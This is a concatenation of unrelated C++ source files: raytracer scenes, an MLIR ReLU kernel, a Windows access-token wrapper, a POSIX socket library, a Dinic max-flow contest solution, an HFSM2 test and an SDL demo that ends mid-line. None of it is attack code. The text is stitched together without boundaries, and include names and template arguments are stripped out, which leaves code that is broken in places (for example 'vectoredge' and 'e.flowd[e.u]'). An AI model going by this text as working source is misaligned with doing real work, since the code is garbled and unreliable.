lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("bun_zipper_res.ply", vec3(250, -50, 190), vec3(0, -M_PI, 0), vec3(2000, 2000, 2000))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mwhite); size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / float(maxElements*log(8)); depth = 10; std::cout << depth << "\n"; triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mwhite, depth, maxElements); std::cout << "Octree built\n"; *scn = new scene; (**scn) .addObject(new parallelogram(vec3(555, 0, 0), vec3(-555, 0, 0), vec3(0, 0, 555), mwhite)) //bottom .addObject(octreeMesh); //.addObject(new sphere(vec3(90, 190, 190), 90, mlight)); //light sphere vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } void dragon_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 10; texture* diffuse_light = new constant_texture(vec4(s, s, s, 1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("dragon_vrip_res.ply", vec3(250, -50, 190), vec3(M_PI*0.1, -M_PI*0.8, 0), vec3(2000, 2000, 2000))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mwhite); size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / float(maxElements*log(8)); std::cout << depth << "\n"; triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mred, depth, maxElements); std::cout << "Octree built\n"; *scn = new scene; (**scn) .addObject(new parallelogram(vec3(555, 0, 0), vec3(-555, 0, 0), vec3(0, 0, 555), mwhite)) //bottom .addObject(octreeMesh) .addObject(new sphere(vec3(190, 390, 50), 30, mlight)); //light sphere vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } void happy_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 10; texture* diffuse_light = new constant_texture(vec4(s, s, s, 1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("happy_vrip.ply", vec3(250, -50, 190), vec3(0, -M_PI, 0), vec3(2000, 2000, 2000))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mwhite); size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / float(maxElements*log(8)); std::cout << "Building octree with depth: " << depth << "\n"; HighPrecisionTimer octreeBuildTimer; octreeBuildTimer.StartCounter(); triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mred, depth, maxElements); std::cout << "Octree built in " << octreeBuildTimer.GetCounter() << "s.\n"; *scn = new scene; (**scn) .addObject(new parallelogram(vec3(555, 0, 0), vec3(-555, 0, 0), vec3(0, 0, 555), mwhite)) //bottom //.addObject(new sphere(vec3(190, 390, 50), 30, mlight)); //light sphere .addObject(octreeMesh); vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } void lucy_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 10; texture* diffuse_light = new constant_texture(vec4(s, s, s, 1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("lucy.ply", vec3(250, -50, 190), vec3(-M_PI/2, 0, 0), vec3(2000, 2000, 2000))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mwhite); size_t maxElements = 100; int depth = meshDataVector.back().triangleCount() / float(maxElements*log(8)); std::cout << "Building octree with depth: " << depth << "\n"; HighPrecisionTimer octreeBuildTimer; octreeBuildTimer.StartCounter(); triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mred, depth, maxElements); std::cout << "Octree built in " << octreeBuildTimer.GetCounter() << "\n"; *scn = new scene; (**scn) .addObject(new parallelogram((octreeMesh->getBoundingBoxMin()+ octreeMesh->getBoundingBoxMax())/2 - vec3(0, 2*(octreeMesh->getBoundingBoxMin() + octreeMesh->getBoundingBoxMax()).y,0) - vec3(1.5 * (octreeMesh->getBoundingBoxMax().x - octreeMesh->getBoundingBoxMin().x), (octreeMesh->getBoundingBoxMax().y - octreeMesh->getBoundingBoxMin().y)*0.005, 1.5 * (octreeMesh->getBoundingBoxMax().z - octreeMesh->getBoundingBoxMin().z)), vec3(0, 0, 3 * (octreeMesh->getBoundingBoxMax().z - octreeMesh->getBoundingBoxMin().z)), vec3(3 * (octreeMesh->getBoundingBoxMax().x - octreeMesh->getBoundingBoxMin().x), 0, 0), mwhite)) //bottom //.addObject(new sphere(vec3(190, 390, 50), 30, mlight)); //light sphere .addObject(octreeMesh); std::cout << "Bounding box min: " << octreeMesh->getBoundingBoxMin() << "\nBounding box max: " << octreeMesh->getBoundingBoxMax() << "\n"; vec3 lookfrom(vec3((octreeMesh->getBoundingBoxMin().x + octreeMesh->getBoundingBoxMax().x) / 2, octreeMesh->getBoundingBoxMax().y, 6*octreeMesh->getBoundingBoxMin().z-5*octreeMesh->getBoundingBoxMax().z)); vec3 lookat((octreeMesh->getBoundingBoxMin()+ octreeMesh->getBoundingBoxMax())/2); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } void xyz_dragon_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 10; texture* diffuse_light = new constant_texture(vec4(s, s, s, 1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("xyzrgb_dragon.ply", vec3(250, 130, 190), vec3(0, 0, 0), vec3(3, 3, 3))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mwhite); size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / float(maxElements*log(8)); std::cout << "Building octree with depth: " << depth << "\n"; HighPrecisionTimer octreeBuildTimer; octreeBuildTimer.StartCounter(); triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mred, depth, maxElements); std::cout << "Octree built in " << octreeBuildTimer.GetCounter() <<"\n"; *scn = new scene; (**scn) .addObject(new parallelogram(vec3(555, 0, 0), vec3(-555, 0, 0), vec3(0, 0, 555), mwhite)) //bottom //.addObject(new sphere(vec3(190, 390, 50), 30, mlight)); //light sphere .addObject(octreeMesh); vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } int main(int argc, char *argv[]) { RenderOptions options; options.x = 0; options.y = 0; options.width = 800; options.height = 800; options.numThreads = 8; options.dxCoef = 8; options.dyCoef = 1; options.samples = 50; options.shadowRaysCount = 0; options.scatteredRaysPow = 1; options.bounces = 10; options.backgroundColor = new GradientBackgroundColor(vec3(0), vec3(1)); options.rrOptions.mulFactor = 10; Tigr *screen = tigrWindow(options.width,options.height, "Raytracer", 0); tigrClear(screen, tigrRGB(0,0,0)); tigrUpdate(screen); camera* cam; scene* scn; //cornell_box_scene(&scn, &cam, float(options.width) / float(options.height)); /*xyz_dragon_scene(&scn, &cam, float(options.width) / float(options.height));*/ vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; cam = new camera(lookfrom, lookat, vec3(0, 1, 0), float(options.width) / float(options.height), vfov); if (!SceneLoader::loadScene("testScene.txt", &scn)) { tigrFree(screen); return 1; } HighPrecisionTimer globalTime; globalTime.StartCounter(); render(screen, *cam, *scn, options); std::cout << "Rendering time: " << globalTime.GetCounter() << "\n"; while (!tigrClosed(screen)) { if (tigrKeyDown(screen, TK_SPACE)) { tigrSaveImage("output_image.png", screen); break; } tigrUpdate(screen); } tigrFree(screen); delete scn; delete cam; return 0; }//===----------------------------------------------------------------------===// // Copyright (c) 2020 PolarAI. All rights reserved. // // Licensed under MIT license. // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations under // the License. //===----------------------------------------------------------------------===// #include "PolarGraph/PolarGraphOps.h" #include "mlir/Dialect/Affine/IR/AffineOps.h" #include "mlir/Dialect/StandardOps/IR/Ops.h" #include "mlir/IR/Builders.h" namespace mlir::polar_graph { void ReLUOp::produceKernel(OpBuilder& builder, Block::BlockArgListType args) { auto memrefTy = args.back().getType().cast(); auto tensorTy = out().getType().cast(); auto zero = builder.create(builder.getUnknownLoc(), 0); SmallVector lbs(memrefTy.getRank(), zero); SmallVector ubs; SmallVector steps(memrefTy.getRank(), 1); for (int i = 0; i < memrefTy.getRank(); i++) { auto dim = builder.create(builder.getUnknownLoc(), tensorTy.getDimSize(i)); ubs.push_back(dim); } auto bodyBuilder = [args, &memrefTy](OpBuilder& builder, Location loc, ValueRange idx) { auto inp = builder.create(loc, args[0], idx); auto fzero = builder.create( loc, APFloat(0.f), memrefTy.getElementType().cast()); auto cmp = builder.create(loc, CmpFPredicate::OGT, inp, fzero); auto res = builder.create(loc, cmp, inp, fzero); builder.create(loc, res, args[1], idx); }; buildAffineLoopNest(builder, builder.getUnknownLoc(), lbs, ubs, steps, bodyBuilder); } } // namespace mlir::polar_graph //.............................................................................. // // This file is part of the AXL library. // // AXL is distributed under the MIT license. // For details see accompanying license.txt file, // the public copy of which is also available at: // http://tibbo.com/downloads/archive/axl/license.txt // //.............................................................................. #include "pch.h" #include "axl_sys_win_AccessToken.h" namespace axl { namespace sys { namespace win { //.............................................................................. bool AccessToken::openProcessToken( handle_t process, dword_t access ) { close(); bool_t result = ::OpenProcessToken(process, access, &m_h); return err::complete(result); } bool AccessToken::openThreadToken( handle_t thread, dword_t access, bool openAsSelf ) { close(); bool_t result = ::OpenThreadToken(thread, access, openAsSelf, &m_h); return err::complete(result); } bool AccessToken::getTokenInformation( TOKEN_INFORMATION_CLASS infoClass, sl::Array* buffer ) { dword_t size = 0; bool_t result = ::GetTokenInformation(m_h, infoClass, NULL, 0, &size); if (size == 0) return err::failWithLastSystemError(); return buffer->setCount(size) && getTokenInformation(infoClass, buffer->p(), size, &size); } bool AccessToken::isMemberOf(PSID group) { sl::Array buffer; bool result = getTokenInformation(TokenGroups, &buffer); if (!result) return false; ASSERT(buffer.getCount() >= sizeof(TOKEN_GROUPS)); const TOKEN_GROUPS* groups = (const TOKEN_GROUPS*) buffer.cp(); for (size_t i = 0; i < groups->GroupCount; i++) if (::EqualSid(groups->Groups[i].Sid, group)) return true; return false; } //.............................................................................. } // namespace win } // namespace sys } // namespace axl src/posix/io_socket.cpp #include "io_socket.h" #include #include #include #include #include #include #include #include #include namespace cppio { UnixSocket::UnixSocket(const std::string& address) : m_address(address) { m_socket = socket(AF_UNIX, SOCK_STREAM, 0); if(m_socket < 0) throw IoException(std::string("Unable to create socket: " + std::to_string(m_socket))); } UnixSocket::UnixSocket(int fd, const std::string& address) { m_socket = fd; m_address = address; } UnixSocket::~UnixSocket() { close(m_socket); unlink(m_address.c_str()); } void UnixSocket::connect() { sockaddr serverName; serverName.sa_family = AF_UNIX; strncpy(serverName.sa_data, m_address.c_str(), sizeof(serverName.sa_data)); int rc = ::connect(m_socket, &serverName, strlen(serverName.sa_data) + sizeof(serverName.sa_family)); if(rc < 0) throw IoException(std::string("Unable to connect to socket: " + std::to_string(rc) + "/" + std::to_string(errno))); } ssize_t UnixSocket::read(void* buffer, size_t buflen) { ssize_t rc = ::read(m_socket, buffer, buflen); if(rc < 0) { if((errno == ECONNRESET) || (errno == ENOTCONN)) return eConnectionLost; if(errno == EAGAIN) return eTimeout; return eUnknown; } else if(rc == 0) { if(errno != ETIMEDOUT) return eConnectionLost; else return eTimeout; } return rc; } ssize_t UnixSocket::write(void* buffer, size_t buflen) { ssize_t rc = ::write(m_socket, buffer, buflen); if(rc <= 0) { if((errno == ECONNRESET) || (errno == ENOTCONN)) return eConnectionLost; return eUnknown; } return rc; } void UnixSocket::setOption(LineOption option, void* data) { switch(option) { case LineOption::ReceiveTimeout: { int msecs = *(int*)data; int secs = msecs / 1000; int restMsecs = msecs - secs * 1000; struct timeval timeout; timeout.tv_sec = secs; timeout.tv_usec = restMsecs * 1000; setsockopt(m_socket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); } break; case LineOption::SendTimeout: { int msecs = *(int*)data; int secs = msecs / 1000; int restMsecs = msecs - secs * 1000; struct timeval timeout; timeout.tv_sec = secs; timeout.tv_usec = restMsecs * 1000; setsockopt(m_socket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)); } break; default: throw UnsupportedOption(""); } } UnixSocketAcceptor::UnixSocketAcceptor(const std::string& address) : m_address(address) { m_socket = socket(AF_UNIX, SOCK_STREAM, 0); if(m_socket < 0) throw IoException(std::string("Unable to create socket: " + std::to_string(m_socket))); sockaddr serverName; serverName.sa_family = AF_UNIX; strncpy(serverName.sa_data, m_address.c_str(), sizeof(serverName.sa_data)); int rc = bind(m_socket, &serverName, strlen(serverName.sa_data) + sizeof(serverName.sa_family)); if(rc < 0) throw IoException(std::string("Unable to bind socket: " + std::to_string(rc))); rc = listen(m_socket, 10); if(rc < 0) { close(m_socket); unlink(m_address.c_str()); throw IoException(std::string("Unable to listen socket: " + std::to_string(rc))); } } UnixSocketAcceptor::~UnixSocketAcceptor() { close(m_socket); unlink(m_address.c_str()); } IoLine* UnixSocketAcceptor::waitConnection(int timeoutInMs) { sockaddr addr; socklen_t clen = sizeof(addr); int newsock = accept(m_socket, &addr, &clen); if(newsock > 0) { return new UnixSocket(newsock, ""); } return nullptr; } UnixSocketFactory::~UnixSocketFactory() { } bool UnixSocketFactory::supportsScheme(const std::string& scheme) { return scheme == "local"; } IoLine* UnixSocketFactory::createClient(const std::string& address) { auto socket = new UnixSocket(address); if(socket) socket->connect(); return socket; } IoAcceptor* UnixSocketFactory::createServer(const std::string& address) { return new UnixSocketAcceptor(address); } /////// TcpSocket::TcpSocket(const std::string& address) : m_address(address) { m_socket = socket(AF_INET, SOCK_STREAM, 0); if(m_socket < 0) throw IoException(std::string("Unable to create socket: " + std::to_string(m_socket))); } TcpSocket::TcpSocket(int fd, const std::string& address) { m_socket = fd; m_address = address; } TcpSocket::~TcpSocket() { close(m_socket); } void TcpSocket::connect() { auto semicolon = m_address.find(':'); auto host = m_address.substr(0, semicolon); auto port = atoi(m_address.substr(semicolon + 1).c_str()); sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(host.c_str()); addr.sin_port = htons(port); int rc = ::connect(m_socket, (sockaddr*)&addr, sizeof(addr)); if(rc < 0) throw IoException(std::string("Unable to connect socket: " + std::to_string(rc) + "/" + std::to_string(errno))); } ssize_t TcpSocket::read(void* buffer, size_t buflen) { ssize_t rc = ::read(m_socket, buffer, buflen); if(rc < 0) { if((errno == ECONNRESET) || (errno == ENOTCONN)) return eConnectionLost; if(errno == EAGAIN) return eTimeout; return eUnknown; } else if(rc == 0) { if(errno != ETIMEDOUT) return eConnectionLost; return eTimeout; } return rc; } ssize_t TcpSocket::write(void* buffer, size_t buflen) { ssize_t rc = ::write(m_socket, buffer, buflen); if(rc <= 0) return eUnknown; return rc; } void TcpSocket::setOption(LineOption option, void* data) { switch(option) { case LineOption::ReceiveTimeout: { int msecs = *(int*)data; int secs = msecs / 1000; int restMsecs = msecs - secs * 1000; struct timeval timeout; timeout.tv_sec = secs; timeout.tv_usec = restMsecs * 1000; setsockopt(m_socket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); } break; case LineOption::SendTimeout: { int msecs = *(int*)data; int secs = msecs / 1000; int restMsecs = msecs - secs * 1000; struct timeval timeout; timeout.tv_sec = secs; timeout.tv_usec = restMsecs * 1000; setsockopt(m_socket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)); } break; default: throw UnsupportedOption(""); } } TcpSocketAcceptor::TcpSocketAcceptor(const std::string& address) : m_address(address) { m_socket = socket(AF_INET, SOCK_STREAM, 0); if(m_socket < 0) throw IoException(std::string("Unable to create socket: " + std::to_string(m_socket))); int enable = 1; if(setsockopt(m_socket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)) < 0) throw IoException(std::string("Unable to set socket option: " + std::to_string(m_socket))); auto semicolon = m_address.find(':'); auto host = m_address.substr(0, semicolon); auto port = atoi(m_address.substr(semicolon + 1).c_str()); sockaddr_in serverName; memset(&serverName, 0, sizeof(serverName)); serverName.sin_family = AF_INET; if(host != "*") serverName.sin_addr.s_addr = inet_addr(host.c_str()); else serverName.sin_addr.s_addr = INADDR_ANY; serverName.sin_port = htons(port); int rc = bind(m_socket, (sockaddr*)&serverName, sizeof(serverName)); if(rc < 0) throw IoException(std::string("Unable to bind tcp socket: " + std::to_string(rc)) + "/" + std::to_string(errno)); rc = listen(m_socket, 10); if(rc < 0) { close(m_socket); throw IoException(std::string("Unable to listen socket: " + std::to_string(rc))); } } TcpSocketAcceptor::~TcpSocketAcceptor() { close(m_socket); } IoLine* TcpSocketAcceptor::waitConnection(int timeoutInMs) { sockaddr addr; socklen_t clen = sizeof(addr); int newsock = accept(m_socket, &addr, &clen); if(newsock > 0) { return new TcpSocket(newsock, ""); } return nullptr; } TcpSocketFactory::~TcpSocketFactory() { } bool TcpSocketFactory::supportsScheme(const std::string& scheme) { return scheme == "tcp"; } IoLine* TcpSocketFactory::createClient(const std::string& address) { auto socket = new TcpSocket(address); if(socket) socket->connect(); return socket; } IoAcceptor* TcpSocketFactory::createServer(const std::string& address) { return new TcpSocketAcceptor(address); } } #include using namespace std; using ll = long long; #define eb emplace_back struct Dinic { struct Edge { int u, v; ll cap, flow = 0; Edge() {} Edge(int u, int v, ll cap) :u(u), v(v), cap(cap) {} }; int N; vectoredge; vector>adj; vectord, pt;//pt[i] decreases overall complexity by removing unusable edges. Dinic(int N) :N(N), edge(0), adj(N), d(N), pt(N) {} void addEdge(int u, int v, ll cap) { if (u == v) return; edge.eb(u, v, cap); adj[u].eb(edge.size() - 1); edge.eb(v, u, 0); adj[v].eb(edge.size() - 1); } //Creating Layered Network bool bfs(int s, int t) { queueq({ s }); fill(d.begin(), d.end(), N + 1); d[s] = 0; while (!q.empty()) { int u = q.front();q.pop(); if (u == t) break; for (int k : adj[u]) { Edge& e = edge[k]; if (e.flowd[e.u] + 1) { d[e.v] = d[e.u] + 1; q.emplace(e.v); } } } return d[t] != N + 1; } ll dfs(int u, int T, ll flow = -1) { if (u == T || flow == 0) return flow; for (int& i = pt[u];i < adj[u].size();i++) { Edge& e = edge[adj[u][i]]; Edge& oe = edge[adj[u][i] ^ 1]; if (d[e.v] == d[e.u] + 1) { ll amt = e.cap - e.flow; if (flow != -1 && amt > flow) amt = flow; if (ll pushed = dfs(e.v, T, amt)) { e.flow += pushed; oe.flow -= pushed; return pushed; } } } return 0; } ll maxFlow(int s, int t) { ll total = 0; while (bfs(s, t)) { fill(pt.begin(), pt.end(), 0); while (ll flow = dfs(s, t)) { total += flow; } } return total; } }; int main() { int tsh[6]; string val[7] = { "","S","M","L","XL","XXL","XXXL" }; mapmp = { {"S",1},{"M",2},{"L",3},{"XL",4},{"XXL",5},{"XXXL",6} }; for (int i = 0;i < 6;i++)cin >> tsh[i]; int n;cin >> n; Dinic dic(n + 8); for (int i = 7;i <= n + 6;i++) { string str; cin >> str; string ch1, ch2; bool f = 0; for (int j = 0;j < str.size();j++) { if (str[j] == ',') { f = 1;continue; } if (!f) ch1 += str[j]; else ch2 += str[j]; } dic.addEdge(i, mp[ch1], 1); if (f) dic.addEdge(i, mp[ch2], 1); } for (int i = 1;i <= n;i++) dic.addEdge(0, i + 6, 1); for (int i = 1;i <= 6;i++) { dic.addEdge(i, n + 7, tsh[i - 1]); } int matched = dic.maxFlow(0, n + 7); if (matched == n) { puts("YES"); vectorans(n + 1); int k = dic.edge.size(); for (int i = 0;i < k;i += 2) { int u = dic.edge[i].u; int v = dic.edge[i].v; int f = dic.edge[i].flow; if (f) { u -= 6; if (u > 0 && u <= n && v > 0 && v < 7) { ans[u] = v; } } } for (int i = 1;i <= n;i++)cout << val[ans[i]] << endl; } else { puts("NO"); } }#define HFSM_VERBOSE_DEBUG_LOG #include "test_shared.hpp" namespace test_planner { //------------------------------------------------------------------------------ struct Context {}; using M = hfsm2::Machine; //////////////////////////////////////////////////////////////////////////////// #define S(s) struct s using FSM = M::Root, M::Orthogonal, M::Composite >, M::Orthogonal >, M::Composite >; #undef S //------------------------------------------------------------------------------ static_assert(FSM::regionId() == 0, ""); static_assert(FSM::regionId() == 1, ""); static_assert(FSM::regionId() == 2, ""); static_assert(FSM::regionId() == 3, ""); static_assert(FSM::regionId() == 4, ""); static_assert(FSM::regionId() == 5, ""); static_assert(FSM::regionId() == 6, ""); static_assert(FSM::regionId() == 7, ""); static_assert(FSM::stateId() == 0, ""); static_assert(FSM::stateId() == 1, ""); static_assert(FSM::stateId() == 2, ""); static_assert(FSM::stateId() == 3, ""); static_assert(FSM::stateId() == 4, ""); static_assert(FSM::stateId() == 5, ""); static_assert(FSM::stateId() == 6, ""); static_assert(FSM::stateId() == 7, ""); static_assert(FSM::stateId() == 8, ""); static_assert(FSM::stateId() == 9, ""); static_assert(FSM::stateId() == 10, ""); static_assert(FSM::stateId() == 11, ""); static_assert(FSM::stateId() == 12, ""); static_assert(FSM::stateId() == 13, ""); static_assert(FSM::stateId() == 14, ""); static_assert(FSM::stateId() == 15, ""); static_assert(FSM::stateId() == 16, ""); static_assert(FSM::stateId() == 17, ""); static_assert(FSM::stateId() == 18, ""); //////////////////////////////////////////////////////////////////////////////// struct Apex : FSM::State {}; //------------------------------------------------------------------------------ struct Planned : FSM::State { void enter(Control& control) { auto plan = control.plan(); REQUIRE(!plan); //-V521 plan.add(); plan.add(); } void planFailed(FullControl& control) { control.succeed(); } }; // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - struct Step1_BT : FSM::State { void enter(Control& control) { Plan plan = control.plan(); REQUIRE(!plan); //-V521 plan.add(); } }; struct Step1_1 : FSM::State { void update(FullControl& control) { control.changeTo(); } }; struct Step1_2 : FSM::State { void update(FullControl& control) { control.succeed(); } }; struct Step1_3 : FSM::State { void update(FullControl& control) { control.succeed(); } }; //------------------------------------------------------------------------------ struct Hybrid : FSM::State { void enter(Control& control) { auto plan = control.plan(); REQUIRE(!plan); //-V521 plan.add(); plan.add(); } void planFailed(FullControl& control) { control.succeed(); } }; // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - struct Step2L_P : FSM::State {}; struct Step2L_1 : FSM::State { void update(FullControl& control) { control.succeed(); } }; struct Step2L_2 : FSM::State { void update(FullControl& control) { control.fail(); } }; // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - struct Step2R_P : FSM::State {}; struct Step2R_1 : FSM::State { void update(FullControl& control) { control.succeed(); } }; struct Step2R_2 : FSM::State { void update(FullControl& control) { control.fail(); } }; // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - struct Terminal : FSM::State { void planSucceeded(FullControl& control) { control.fail(); } }; struct Terminal_L : FSM::State { void update(FullControl& control) { control.succeed(); } }; struct Terminal_R : FSM::State { void update(FullControl& control) { control.succeed(); } }; //------------------------------------------------------------------------------ struct Unplanned : FSM::State {}; struct Work_1 : FSM::State {}; struct Work_2 : FSM::State {}; //////////////////////////////////////////////////////////////////////////////// static_assert(FSM::Instance::DEEP_WIDTH == 2, "DEEP_WIDTH"); static_assert(FSM::Instance::STATE_COUNT == 19, "STATE_COUNT"); static_assert(FSM::Instance::COMPO_COUNT == 6, "COMPO_COUNT"); static_assert(FSM::Instance::ORTHO_COUNT == 2, "ORTHO_COUNT"); static_assert(FSM::Instance::ORTHO_UNITS == 2, "ORTHO_UNITS"); static_assert(FSM::Instance::PRONG_COUNT == 14, "PRONG_COUNT"); //////////////////////////////////////////////////////////////////////////////// } 0 #include #include #include #include #include class InitError : public std::exception { std::string msg; public: InitError(); InitError( const std::string & ); virtual ~InitError() throw(); virtual const char * what() const throw(); }; InitError::InitError() : exception(), msg( SDL_GetError() ) { } InitError::InitError( const std::string & m ) : exception(), msg( m ) { } InitError::~InitError() throw() { } const char * InitError::what() const throw() { return msg.c_str(); } class SDL { SDL_Window * m_window; SDL_Renderer * m_renderer; public: SDL( Uint32 flags = 0 ); virtual ~SDL(); void draw(); }; SDL::SDL( Uint32 flags ) { if ( SDL_Init( flags ) != 0 ) throw InitError(); if ( SDL_CreateWindowAndRenderer( 640, 480, SDL_WINDOW_SHOWN, &m_window, &m_renderer ) != 0 ) throw InitError(); } SDL::~SDL() { SDL_DestroyWindow( m_window ); SDL_DestroyRenderer( m_renderer ); SDL_Quit(); } void SDL::draw() { // Clear the window with a black background SDL_SetRenderDrawColor( m_renderer, 0, 0, 0, 255 ); SDL_RenderClear( m_renderer ); // Show the window SDL_RenderPresent( m_renderer ); int rgb[] = { 203, 203, 203, // Gray 254, 254, 31, // Yellow 0, 255, 255, // Cyan 0, 254, 30, // Green 255, 16, 253, // Magenta 253, 3, 2, // Red 18, 14, 252, // Blue 0, 0, 0 // Black }; SDL_Rect colorBar; colorBar.x = 0; colorBar.y = 0; colorBar.w = 90; colorBar.h = 480; // Render a new color bar every 0.5 seconds for ( int i = 0; i != sizeof rgb / sizeof *rgb; i += 3, colorBar.x += 90 ) { SDL_SetRenderDrawColor( m_renderer, rgb[i], rgb[i + 1], rgb[i + 2], 255 ); SDL_RenderFillRect( m_renderer, &colorBar ); SDL_RenderPresent( m_renderer ); SDL_Delay( 500 ); } } int main( int argc, char * argv[] ) { try { /* test la fonctionnalite de la bibliotheque : SDL sdl( 